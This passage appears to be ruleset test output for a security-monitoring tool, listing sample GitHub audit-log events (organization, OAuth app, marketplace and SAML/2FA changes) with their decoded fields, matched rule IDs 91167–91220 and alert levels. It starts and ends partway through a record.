"91167", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Integration installation create."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"integration_installation.close\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "integration_installation.close", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91168", "level": "5", "expected_decoder": "json", "expected_rule": "91168", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Integration installation close."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"issue.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "issue.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91169", "level": "3", "expected_decoder": "json", "expected_rule": "91169", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Issues."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"issues.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "issues.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91169", "level": "3", "expected_decoder": "json", "expected_rule": "91169", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Issues."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"issues.destroy\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "issues.destroy", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91170", "level": "5", "expected_decoder": "json", "expected_rule": "91170", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Issues destroy."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"marketplace_agreement_signature.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "marketplace_agreement_signature.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91171", "level": "3", "expected_decoder": "json", "expected_rule": "91171", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Marketplace agreement signature."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"marketplace_agreement_signature.create\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "marketplace_agreement_signature.create", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91172", "level": "7", "expected_decoder": "json", "expected_rule": "91172", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Marketplace agreement signature create."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"marketplace_listing.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "marketplace_listing.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91173", "level": "3", "expected_decoder": "json", "expected_rule": "91173", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Marketplace listing."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"marketplace_listing.approve\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "marketplace_listing.approve", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91174", "level": "5", "expected_decoder": "json", "expected_rule": "91174", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Marketplace listing approve."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"marketplace_listing.create\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "marketplace_listing.create", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91175", "level": "5", "expected_decoder": "json", "expected_rule": "91175", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Marketplace listing create."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"marketplace_listing.delist\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "marketplace_listing.delist", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91176", "level": "5", "expected_decoder": "json", "expected_rule": "91176", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Marketplace listing delist."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"marketplace_listing.redraft\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "marketplace_listing.redraft", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91177", "level": "5", "expected_decoder": "json", "expected_rule": "91177", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Marketplace listing redraft."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"marketplace_listing.reject\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "marketplace_listing.reject", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91178", "level": "5", "expected_decoder": "json", "expected_rule": "91178", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Marketplace listing reject."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"members_can_create_pages.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "members_can_create_pages.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91179", "level": "3", "expected_decoder": "json", "expected_rule": "91179", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Members can create pages."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"members_can_create_pages.enable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "members_can_create_pages.enable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91180", "level": "3", "expected_decoder": "json", "expected_rule": "91180", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Members can create pages enable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"members_can_create_pages.disable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "members_can_create_pages.disable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91181", "level": "3", "expected_decoder": "json", "expected_rule": "91181", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Members can create pages disable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"oauth_application.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "oauth_application.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91182", "level": "3", "expected_decoder": "json", "expected_rule": "91182", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Oauth application."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"oauth_application.create\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "oauth_application.create", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91183", "level": "5", "expected_decoder": "json", "expected_rule": "91183", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Oauth application create."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"oauth_application.destroy\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "oauth_application.destroy", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91184", "level": "7", "expected_decoder": "json", "expected_rule": "91184", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Oauth application destroy."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"oauth_application.reset_secret\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "oauth_application.reset_secret", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91185", "level": "7", "expected_decoder": "json", "expected_rule": "91185", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Oauth application reset secret."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"oauth_application.revoke_tokens\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "oauth_application.revoke_tokens", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91186", "level": "7", "expected_decoder": "json", "expected_rule": "91186", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Oauth application revoke tokens."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"oauth_application.transfer\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "oauth_application.transfer", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91187", "level": "5", "expected_decoder": "json", "expected_rule": "91187", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Oauth application transfer."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91188", "level": "3", "expected_decoder": "json", "expected_rule": "91188", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.add_billing_manager\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.add_billing_manager", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91189", "level": "9", "expected_decoder": "json", "expected_rule": "91189", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization add billing manager."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.add_member\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.add_member", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91190", "level": "5", "expected_decoder": "json", "expected_rule": "91190", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization add member."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.advanced_security_policy_selected_member_disabled\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.advanced_security_policy_selected_member_disabled", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91191", "level": "9", "expected_decoder": "json", "expected_rule": "91191", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization advanced security policy selected member disabled."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.advanced_security_policy_selected_member_enabled\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.advanced_security_policy_selected_member_enabled", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91192", "level": "5", "expected_decoder": "json", "expected_rule": "91192", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization advanced security policy selected member enabled."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.audit_log_export\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.audit_log_export", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91193", "level": "5", "expected_decoder": "json", "expected_rule": "91193", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization audit log export."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.audit_log_git_event_export\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.audit_log_git_event_export", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91193", "level": "5", "expected_decoder": "json", "expected_rule": "91193", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization audit log export."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.block_user\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.block_user", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91194", "level": "9", "expected_decoder": "json", "expected_rule": "91194", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization block user."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.cancel_invitation\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.cancel_invitation", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91195", "level": "5", "expected_decoder": "json", "expected_rule": "91195", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization cancel invitation."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.create\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.create", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91196", "level": "5", "expected_decoder": "json", "expected_rule": "91196", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization create."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.create_actions_secret\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.create_actions_secret", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91197", "level": "7", "expected_decoder": "json", "expected_rule": "91197", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization create actions secret."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.disable_member_team_creation_permission\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.disable_member_team_creation_permission", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91198", "level": "9", "expected_decoder": "json", "expected_rule": "91198", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization disable member team creation permission."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.disable_oauth_app_restrictions\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.disable_oauth_app_restrictions", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91199", "level": "12", "expected_decoder": "json", "expected_rule": "91199", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization disable oauth app restrictions."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.disable_saml\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.disable_saml", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91200", "level": "12", "expected_decoder": "json", "expected_rule": "91200", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization disable saml."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.disable_two_factor_requirement\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.disable_two_factor_requirement", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91201", "level": "12", "expected_decoder": "json", "expected_rule": "91201", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization disable two factor requirement."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.display_commenter_full_name_enabled\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.display_commenter_full_name_enabled", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91202", "level": "5", "expected_decoder": "json", "expected_rule": "91202", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization display commenter full name enabled."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.enable_member_team_creation_permission\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.enable_member_team_creation_permission", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91203", "level": "5", "expected_decoder": "json", "expected_rule": "91203", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization enable member team creation permission."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.enable_oauth_app_restrictions\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.enable_oauth_app_restrictions", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91204", "level": "7", "expected_decoder": "json", "expected_rule": "91204", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization enable oauth app restrictions."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.enable_saml\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.enable_saml", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91205", "level": "7", "expected_decoder": "json", "expected_rule": "91205", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization enable saml."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.enable_two_factor_requirement\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.enable_two_factor_requirement", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91206", "level": "7", "expected_decoder": "json", "expected_rule": "91206", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization enable two factor requirement."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.invite_member\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.invite_member", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91207", "level": "5", "expected_decoder": "json", "expected_rule": "91207", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization invite member."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.oauth_app_access_approved\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.oauth_app_access_approved", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91208", "level": "7", "expected_decoder": "json", "expected_rule": "91208", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization oauth app access approved."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.oauth_app_access_denied\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.oauth_app_access_denied", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91209", "level": "12", "expected_decoder": "json", "expected_rule": "91209", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization oauth app access denied."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.oauth_app_access_requested\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.oauth_app_access_requested", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91210", "level": "7", "expected_decoder": "json", "expected_rule": "91210", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization oauth app access requested."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.register_self_hosted_runner\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.register_self_hosted_runner", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91211", "level": "3", "expected_decoder": "json", "expected_rule": "91211", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization register self hosted runner."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.remove_actions_secret\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.remove_actions_secret", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91212", "level": "9", "expected_decoder": "json", "expected_rule": "91212", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization remove actions secret."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.remove_billing_manager\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.remove_billing_manager", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91213", "level": "9", "expected_decoder": "json", "expected_rule": "91213", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization remove billing manager."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.remove_member\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.remove_member", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91214", "level": "7", "expected_decoder": "json", "expected_rule": "91214", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization remove member."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.remove_outside_collaborator\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.remove_outside_collaborator", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91215", "level": "7", "expected_decoder": "json", "expected_rule": "91215", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization remove outside collaborator."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.remove_self_hosted_runner\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.remove_self_hosted_runner", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91216", "level": "3", "expected_decoder": "json", "expected_rule": "91216", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization remove self hosted runner."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.restore_member\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.restore_member", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91217", "level": "5", "expected_decoder": "json", "expected_rule": "91217", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization restore member."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.revoke_external_identity\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.revoke_external_identity", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91218", "level": "9", "expected_decoder": "json", "expected_rule": "91218", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization revoke external identity."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.revoke_sso_session\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.revoke_sso_session", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91219", "level": "9", "expected_decoder": "json", "expected_rule": "91219", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization revoke sso session."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.runner_group_created\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.runner_group_created", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91220", "level": 